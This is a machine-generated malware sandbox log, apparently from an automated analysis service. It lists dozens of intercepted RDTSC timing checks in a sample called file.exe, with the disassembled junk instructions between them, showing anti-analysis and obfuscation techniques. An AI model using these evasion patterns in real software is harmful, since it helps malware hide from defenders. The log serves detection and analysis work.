Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7F52 second address: 9C7F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6EB2 second address: 9C6ED4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6ED4 second address: 9C6EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007F988C7CE322h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6EE1 second address: 9C6EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6EE7 second address: 9C6EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C71B1 second address: 9C71B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C41 second address: 9C7C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C47 second address: 9C7C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C51 second address: 9C7C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C59 second address: 9C7C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7C5E second address: 9C7C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007F988C7CE316h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CBCDD second address: 9CBCE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB855 second address: 9CB87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F988C7CE316h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F988C7CE327h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB87D second address: 9CB882 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF94C second address: 9CF950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF950 second address: 9CF956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF956 second address: 9CF95C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF7FB second address: 9CF800 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF800 second address: 9CF806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4A9 second address: 9DA4B9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F988D0B0286h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4B9 second address: 9DA4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA4BD second address: 9DA4D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F988D0B0286h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F988D0B028Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE38B second address: 9EE3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F988C7CE322h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE3A4 second address: 9EE3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE3AA second address: 9EE3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE3AE second address: 9EE3CB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F988D0B0286h 0x00000008 jno 00007F988D0B0286h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F988D0B028Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE3CB second address: 9EE3CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE3CF second address: 9EE3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0ACF second address: 9F0AD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0959F second address: A095B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0290h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A09759 second address: A0975F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0975F second address: A09763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C738 second address: A0C77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D3527h], esi 0x0000000f push 00000004h 0x00000011 add dl, FFFFFFEAh 0x00000014 call 00007F988C7CE319h 0x00000019 push ecx 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pop edx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 jmp 00007F988C7CE329h 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 pushad 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C77D second address: A0C7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988D0B0296h 0x00000009 popad 0x0000000a jmp 00007F988D0B0292h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7B2 second address: A0C7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7B6 second address: A0C7BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C7BA second address: A0C7C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C9D7 second address: A0C9DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F9D4 second address: A0F9DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F9DA second address: A0F9FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F988D0B0294h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F988D0B0286h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F9FA second address: A0FA33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F988C7CE316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F988C7CE321h 0x00000017 jmp 00007F988C7CE326h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0FA33 second address: A0FA49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F988D0B028Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1167E second address: A11698 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE321h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11698 second address: A116A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A116A0 second address: A116A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A116A5 second address: A116B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F988D0B0286h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A116B0 second address: A116B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A116B6 second address: A116D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988D0B028Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnc 00007F988D0B028Eh 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A116D3 second address: A116DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9241A5 second address: 9241BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0293h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9241BC second address: 9241C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9241C2 second address: 9241C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924365 second address: 924373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924373 second address: 924384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F988D0B028Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924384 second address: 924389 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290328 second address: 5290338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988D0B028Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290338 second address: 529033C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529033C second address: 529034B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529034B second address: 5290352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290352 second address: 5290358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290358 second address: 5290379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F988C7CE324h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290379 second address: 529037F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529037F second address: 5290383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5290383 second address: 5290387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0577 second address: 52C057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C057B second address: 52C0581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0581 second address: 52C05A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE324h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, bx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C05A3 second address: 52C060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B0294h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e pushfd 0x0000000f jmp 00007F988D0B028Ah 0x00000014 sub si, 5A18h 0x00000019 jmp 00007F988D0B028Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007F988D0B0296h 0x00000027 xchg eax, ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F988D0B0297h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C060F second address: 52C0615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0615 second address: 52C0678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988D0B028Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F988D0B028Fh 0x00000013 sbb esi, 4AC0899Eh 0x00000019 jmp 00007F988D0B0299h 0x0000001e popfd 0x0000001f call 00007F988D0B0290h 0x00000024 mov dx, cx 0x00000027 pop ecx 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bh, ah 0x0000002f mov bx, 2A86h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0678 second address: 52C0691 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bl, E4h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0691 second address: 52C0697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0697 second address: 52C069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C069B second address: 52C06AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06AA second address: 52C06AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06AE second address: 52C06B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06B4 second address: 52C06FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov si, bx 0x00000010 pushfd 0x00000011 jmp 00007F988C7CE329h 0x00000016 add si, 66A6h 0x0000001b jmp 00007F988C7CE321h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C06FF second address: 52C0788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988D0B0297h 0x00000009 adc ecx, 768139DEh 0x0000000f jmp 00007F988D0B0299h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F988D0B0290h 0x0000001b or ecx, 433F71D8h 0x00000021 jmp 00007F988D0B028Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a lea eax, dword ptr [ebp-04h] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 movsx ebx, ax 0x00000033 pushfd 0x00000034 jmp 00007F988D0B028Ch 0x00000039 or ax, BC38h 0x0000003e jmp 00007F988D0B028Bh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0788 second address: 52C07F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F988C7CE31Ch 0x00000011 add eax, 2E80F5C8h 0x00000017 jmp 00007F988C7CE31Bh 0x0000001c popfd 0x0000001d mov edi, esi 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 jmp 00007F988C7CE31Bh 0x00000027 mov cx, 762Fh 0x0000002b popad 0x0000002c nop 0x0000002d jmp 00007F988C7CE322h 0x00000032 push dword ptr [ebp+08h] 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07F7 second address: 52C07FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C07FD second address: 52C080C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F988C7CE31Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C086E second address: 52C0874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0874 second address: 52C0878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08B4 second address: 52C08BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08BA second address: 52C08DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F988C7CE31Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F988C7CE31Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08DC second address: 52C08E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C08E2 second address: 52B0030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 1AF3h 0x00000007 push esi 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e mov cx, 7D47h 0x00000012 movzx eax, dx 0x00000015 popad 0x00000016 leave 0x00000017 pushad 0x00000018 mov ebx, 5C1F73F8h 0x0000001d pushfd 0x0000001e jmp 00007F988C7CE321h 0x00000023 xor esi, 03C079E6h 0x00000029 jmp 00007F988C7CE321h 0x0000002e popfd 0x0000002f popad 0x00000030 retn 0004h 0x00000033 nop 0x00000034 cmp eax, 00000000h 0x00000037 setne al 0x0000003a xor ebx, ebx 0x0000003c test al, 01h 0x0000003e jne 00007F988C7CE317h 0x00000040 xor eax, eax 0x00000042 sub esp, 08h 0x00000045 mov dword ptr [esp], 00000000h 0x0000004c mov dword ptr [esp+04h], 00000000h 0x00000054 call 00007F9891337753h 0x00000059 mov edi, edi 0x0000005b jmp 00007F988C7CE321h 0x00000060 xchg eax, ebp 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F988C7CE328h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0030 second address: 52B0036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0036 second address: 52B0084 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988C7CE31Ch 0x00000009 or esi, 5D2F1BD8h 0x0000000f jmp 00007F988C7CE31Bh 0x00000014 popfd 0x00000015 mov di, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F988C7CE325h 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F988C7CE31Dh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B0084 second address: 52B00ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F988D0B0297h 0x00000009 adc eax, 2475F8AEh 0x0000000f jmp 00007F988D0B0299h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007F988D0B028Ch 0x00000021 push FFFFFFFEh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F988D0B0297h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52B00ED second address: 52B00F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
